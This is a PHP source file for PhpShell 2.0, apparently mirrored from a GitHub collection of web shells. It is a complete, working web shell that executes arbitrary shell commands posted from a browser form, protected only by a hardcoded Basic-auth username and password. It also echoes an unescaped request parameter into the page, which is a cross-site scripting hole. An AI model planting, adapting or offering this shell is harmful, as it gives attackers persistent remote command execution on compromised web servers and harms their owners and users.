mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
260 lines
8.5 KiB
PHP
260 lines
8.5 KiB
PHP
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<?php // -*- coding: utf-8 -*-
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/*
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**************************************************************
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* PhpShell 2.0 *
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**************************************************************
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$Id: phpshell.php,v 1.29 2004/03/27 00:59:26 gimpster Exp $
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PhpShell is an interactive PHP script that will execute any command
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entered. See the files README and INSTALL or
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http://www.gimpster.com/wiki/PhpShell for further information.
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Copyright (C) 2000-2004 Martin Geisler <gimpster@gimpster.com>
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This program is free software; you can redistribute it and/or
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modify it under the terms of the GNU General Public License
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as published by the Free Software Foundation; either version 2
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of the License, or (at your option) any later version.
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This program is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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GNU General Public License for more details.
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You can get a copy of the GNU General Public License from this
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address: http://www.gnu.org/copyleft/gpl.html#SEC1
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You can also write to the Free Software Foundation, Inc., 59 Temple
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Place - Suite 330, Boston, MA 02111-1307, USA.
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*/
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/* Set your usernames and passwords like this:
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$passwd = array('username' => 'password');
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You can add several pairs of usernames and passwords to the array
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to give several different people access to PhpShell.
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$passwd = array('username_1' => 'password_1',
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'username_2' => 'password_2',
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// ...
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'username_n' => 'password_n');
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*/
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$passwd = array('dreatica' => 'php-shell');
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/* Set your aliases here. Each key in the array will be substituted
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* with the corresponding value before the commands are executed. */
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$aliases = array('ls' => 'ls -CvhF',
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'll' => 'ls -lvhF');
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if (!isset($_SERVER['PHP_AUTH_USER']) ||
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!isset($_SERVER['PHP_AUTH_PW']) ||
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!isset($passwd[$_SERVER['PHP_AUTH_USER']]) ||
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$passwd[$_SERVER['PHP_AUTH_USER']] != $_SERVER['PHP_AUTH_PW']) {
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header('WWW-Authenticate: Basic realm="PhpShell 2.0"');
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header('HTTP/1.0 401 Unauthorized');
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$authenticated = false;
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} else {
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$authenticated = true;
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/* We now start the session. */
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session_start();
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/* Initialize the session variables. */
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if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {
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$_SESSION['cwd'] = getcwd();
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$_SESSION['history'] = array();
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$_SESSION['output'] = '';
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}
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if (!empty($_REQUEST['command'])) {
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if (get_magic_quotes_gpc()) {
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/* We don't want to add the commands to the history in the
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* escaped form, so we remove the backslashes now. */
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$_REQUEST['command'] = stripslashes($_REQUEST['command']);
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}
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/* Save the command for late use in the JavaScript. If the
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* command is already in the history, then the old entry is
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* removed before the new entry is put into the list at the
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* front. */
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if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
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unset($_SESSION['history'][$i]);
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array_unshift($_SESSION['history'], $_REQUEST['command']);
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/* Now append the commmand to the output. */
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$_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n";
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/* Initialize the current working directory. */
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if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {
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$_SESSION['cwd'] = dirname(__FILE__);
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} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) {
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/* The current command is a 'cd' command which we have to handle
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* as an internal shell command. */
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if ($regs[1][0] == '/') {
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/* Absolute path, we use it unchanged. */
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$new_dir = $regs[1];
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} else {
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/* Relative path, we append it to the current working
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* directory. */
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$new_dir = $_SESSION['cwd'] . '/' . $regs[1];
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}
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/* Transform '/./' into '/' */
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while (strpos($new_dir, '/./') !== false)
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$new_dir = str_replace('/./', '/', $new_dir);
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/* Transform '//' into '/' */
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while (strpos($new_dir, '//') !== false)
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$new_dir = str_replace('//', '/', $new_dir);
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/* Transform 'x/..' into '' */
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while (preg_match('|/\.\.(?!\.)|', $new_dir))
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$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
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if ($new_dir == '') $new_dir = '/';
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/* Try to change directory. */
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if (@chdir($new_dir)) {
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$_SESSION['cwd'] = $new_dir;
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} else {
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$_SESSION['output'] .= "cd: could not change to: $new_dir\n";
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}
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} else {
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/* The command is not a 'cd' command, so we execute it after
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* changing the directory and save the output. */
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chdir($_SESSION['cwd']);
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/* Alias expansion. */
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$length = strcspn($_REQUEST['command'], " \t");
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$token = substr($_REQUEST['command'], 0, $length);
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if (isset($aliases[$token]))
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$_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
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$p = proc_open($_REQUEST['command'],
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array(1 => array('pipe', 'w'),
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2 => array('pipe', 'w')),
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$io);
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/* Read output sent to stdout. */
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while (!feof($io[1])) {
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$_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
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ENT_COMPAT, 'UTF-8');
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}
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/* Read output sent to stderr. */
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while (!feof($io[2])) {
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$_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
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ENT_COMPAT, 'UTF-8');
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}
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fclose($io[1]);
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fclose($io[2]);
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proc_close($p);
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}
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}
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/* Build the command history for use in the JavaScript */
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if (empty($_SESSION['history'])) {
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$js_command_hist = '""';
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} else {
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$escaped = array_map('addslashes', $_SESSION['history']);
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$js_command_hist = '"", "' . implode('", "', $escaped) . '"';
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}
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}
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header('Content-Type: text/html; charset=UTF-8');
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/* Since most installations still operate with short_open_tag enabled,
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* we have to echo this string from within PHP: */
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echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
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?>
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
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"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
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<head>
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<title>PhpShell 2.0</title>
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<script type="text/javascript" language="JavaScript">
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var current_line = 0;
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var command_hist = new Array(<?php echo $js_command_hist ?>);
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var last = 0;
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function key(e) {
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if (!e) var e = window.event;
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if (e.keyCode == 38 && current_line < command_hist.length-1) {
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command_hist[current_line] = document.shell.command.value;
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current_line++;
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document.shell.command.value = command_hist[current_line];
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}
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if (e.keyCode == 40 && current_line > 0) {
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command_hist[current_line] = document.shell.command.value;
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current_line--;
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document.shell.command.value = command_hist[current_line];
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}
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}
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function init() {
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document.shell.setAttribute("autocomplete", "off");
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document.shell.output.scrollTop = document.shell.output.scrollHeight;
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document.shell.command.focus();
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}
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</script>
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</head>
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<body onload="init()">
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<h1>PhpShell 2.0</h1>
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<?php if (!$authenticated) { ?>
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<p>You failed to authenticate yourself to PhpShell. You can <a
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href="<?php echo $_SERVER['PHP_SELF'] ?>">reload</a> to try again.</p>
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<p>Try reading the <a href="INSTALL">INSTALL</a> file if you're having
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problems with installing PhpShell.</p>
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</body>
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</html>
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<?php // ' <-- fix syntax highlight in Emacs
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exit;
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}
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error_reporting (E_ALL);
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if (empty($_REQUEST['rows'])) $_REQUEST['rows'] = 24;
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?>
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<p>Current Working Directory: <code><?php echo $_SESSION['cwd'] ?></code></p>
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<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
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<div>
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<textarea name="output" readonly="readonly" cols="80" rows="<?php echo $_REQUEST['rows'] ?>">
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<?php
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$lines = substr_count($_SESSION['output'], "\n");
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$padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
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echo rtrim($padding . $_SESSION['output']);
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?>
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<</textarea>
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</div><br>
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<p class="prompt">
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$ <input class="prompt" name="command" type="text"
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onkeyup="key(event)" size="78" tabindex="1">
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</p>
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<p>
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<input type="submit" value="Execute Command" />
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<input type="submit" name="reset" value="Reset" />
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Rows: <input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" />
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</p>
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</form>
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</body>
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</html>
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